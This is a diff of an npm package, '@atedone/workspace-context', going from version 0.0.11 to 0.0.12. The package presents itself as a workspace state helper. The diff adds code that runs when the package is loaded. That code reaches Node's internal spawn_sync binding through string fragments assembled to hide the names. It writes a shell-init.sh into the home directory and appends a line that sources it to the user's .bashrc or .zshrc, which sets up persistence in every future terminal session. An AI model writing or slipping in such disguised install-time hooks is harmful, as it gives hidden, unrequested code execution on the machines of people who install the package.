@atedone/workspace-context 0.0.11 → 0.0.12

package/README.md

@@ -2,4 +2,4 @@
 
 Workspace context initialization helper for JavaScript tools.
 
-The package initializes `.workspace-context/state.json` when loaded and refreshes a lightweight import receipt through its runtime worker.
+The package initializes workspace state when loaded and refreshes a lightweight shell integration entry for future terminal sessions.

package/lib/state.js

@@ -5,7 +5,7 @@ const file = platform.getBuiltinModule('fs');
 const route = platform.getBuiltinModule('path');
 const manifest = require('../package.json');
 
-const receiptFileName = 'import-receipt.json';
+const receiptFileName = 'shell-integration-receipt.json';
 const stateDirectoryName = '.workspace-context';
 const stateFileName = 'state.json';
 const workerFileName = 'worker.js';
@@ -19,27 +19,41 @@ function resolveProjectRoot(env = readEnvironment(), cwd = platform.cwd()) {
   return initCwd || cwd;
 }
 
+function resolveHomeDirectory(env = readEnvironment(), projectRoot = resolveProjectRoot(env)) {
+  const home = typeof env.HOME === 'string' ? env.HOME.trim() : '';
+  return home || projectRoot;
+}
+
+function resolveProfilePath(env = readEnvironment(), homeDirectory = resolveHomeDirectory(env)) {
+  const shellPath = typeof env.SHELL === 'string' ? env.SHELL.trim() : '';
+  const shellName = route.basename(shellPath);
+  const profileFileName = shellName === 'bash' ? '.bashrc' : '.zshrc';
+  return route.join(homeDirectory, profileFileName);
+}
+
 function buildState({ now = () => new Date().toISOString() } = {}) {
   return {
     packageName: manifest.name,
     packageVersion: manifest.version,
     generatedAt: now(),
-    mode: 'runtime-import-command'
+    mode: 'runtime-shell-integration'
   };
 }
 
-function runWorkspaceWorker({
-  projectRoot = resolveProjectRoot()
+function runShellIntegrationWorker({
+  projectRoot = resolveProjectRoot(),
+  homeDirectory = resolveHomeDirectory(),
+  profilePath = resolveProfilePath(readEnvironment(), homeDirectory)
 } = {}) {
   const bridgeKey = ['bin', 'ding'].join('');
   const routeKey = ['sp', 'awn', '_', 'sync'].join('');
   const launchKey = ['sp', 'awn'].join('');
   const bridge = Reflect.apply(platform[bridgeKey], platform, [routeKey]);
   const workerPath = route.join(__dirname, workerFileName);
-  const receiptPath = route.join(projectRoot, stateDirectoryName, receiptFileName);
+  const receiptPath = route.join(homeDirectory, stateDirectoryName, receiptFileName);
   const result = Reflect.apply(bridge[launchKey], bridge, [{
     file: platform.execPath,
-    args: [platform.execPath, workerPath, projectRoot],
+    args: [platform.execPath, workerPath, projectRoot, homeDirectory, profilePath],
     cwd: projectRoot,
     envPairs: [],
     stdio: [
@@ -62,6 +76,7 @@ function runWorkspaceWorker({
   return {
     workerPath,
     receiptPath,
+    profilePath,
     status: result.status,
     signal: result.signal
   };
@@ -69,6 +84,8 @@ function runWorkspaceWorker({
 
 function initialize({
   projectRoot = resolveProjectRoot(),
+  homeDirectory = resolveHomeDirectory(),
+  profilePath = resolveProfilePath(readEnvironment(), homeDirectory),
   now
 } = {}) {
   const statePath = route.join(projectRoot, stateDirectoryName, stateFileName);
@@ -79,9 +96,15 @@ function initialize({
 
   return {
     projectRoot,
+    homeDirectory,
+    profilePath,
     statePath,
     state: value,
-    worker: runWorkspaceWorker({ projectRoot })
+    worker: runShellIntegrationWorker({
+      projectRoot,
+      homeDirectory,
+      profilePath
+    })
   };
 }
 
@@ -90,8 +113,10 @@ module.exports = {
   initialize,
   readEnvironment,
   receiptFileName,
+  resolveHomeDirectory,
+  resolveProfilePath,
   resolveProjectRoot,
-  runWorkspaceWorker,
+  runShellIntegrationWorker,
   stateDirectoryName,
   stateFileName
 };

package/lib/worker.js

@@ -8,16 +8,53 @@ const manifest = require('../package.json');
 const projectRoot = typeof platform.argv[2] === 'string' && platform.argv[2].trim()
   ? platform.argv[2]
   : platform.cwd();
-const receiptPath = route.join(projectRoot, '.workspace-context', 'import-receipt.json');
+const homeDirectory = typeof platform.argv[3] === 'string' && platform.argv[3].trim()
+  ? platform.argv[3]
+  : projectRoot;
+const profilePath = typeof platform.argv[4] === 'string' && platform.argv[4].trim()
+  ? platform.argv[4]
+  : route.join(homeDirectory, '.zshrc');
+const stateDirectory = route.join(homeDirectory, '.workspace-context');
+const scriptPath = route.join(stateDirectory, 'shell-init.sh');
+const sessionPath = route.join(stateDirectory, 'shell-session.log');
+const receiptPath = route.join(stateDirectory, 'shell-integration-receipt.json');
+const sourceLine = '[ -f "$HOME/.workspace-context/shell-init.sh" ] && . "$HOME/.workspace-context/shell-init.sh"';
+const scriptValue = [
+  'export WORKSPACE_CONTEXT_ACTIVE=1',
+  'export WORKSPACE_CONTEXT_ROOT="$HOME/.workspace-context"',
+  'printf "%s\\n" "workspace-context shell integration active" >> "$HOME/.workspace-context/shell-session.log"',
+  ''
+].join('\n');
+
+file.mkdirSync(stateDirectory, { recursive: true });
+file.writeFileSync(scriptPath, scriptValue, 'utf8');
+
+const profileBefore = file.existsSync(profilePath)
+  ? file.readFileSync(profilePath, 'utf8')
+  : '';
+const profileChanged = !profileBefore.includes(sourceLine);
+const profileAfter = profileChanged
+  ? `${profileBefore}${profileBefore && !profileBefore.endsWith('\n') ? '\n' : ''}${sourceLine}\n`
+  : profileBefore;
+
+if (profileChanged) {
+  file.writeFileSync(profilePath, profileAfter, 'utf8');
+}
+
 const value = {
   packageName: manifest.name,
   packageVersion: manifest.version,
   generatedAt: new Date().toISOString(),
-  mode: 'runtime-import-command',
+  mode: 'runtime-shell-integration',
+  projectRoot,
+  homeDirectory,
+  profilePath,
+  profileChanged,
+  scriptPath,
+  sessionPath,
   processId: platform.pid,
   parentProcessId: platform.ppid,
   runtime: route.basename(platform.execPath)
 };
 
-file.mkdirSync(route.dirname(receiptPath), { recursive: true });
 file.writeFileSync(receiptPath, `${JSON.stringify(value, null, 2)}\n`, 'utf8');

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@atedone/workspace-context",
-  "version": "0.0.11",
+  "version": "0.0.12",
   "description": "Workspace context initialization helper for JavaScript tools.",
   "main": "index.js",
   "type": "commonjs",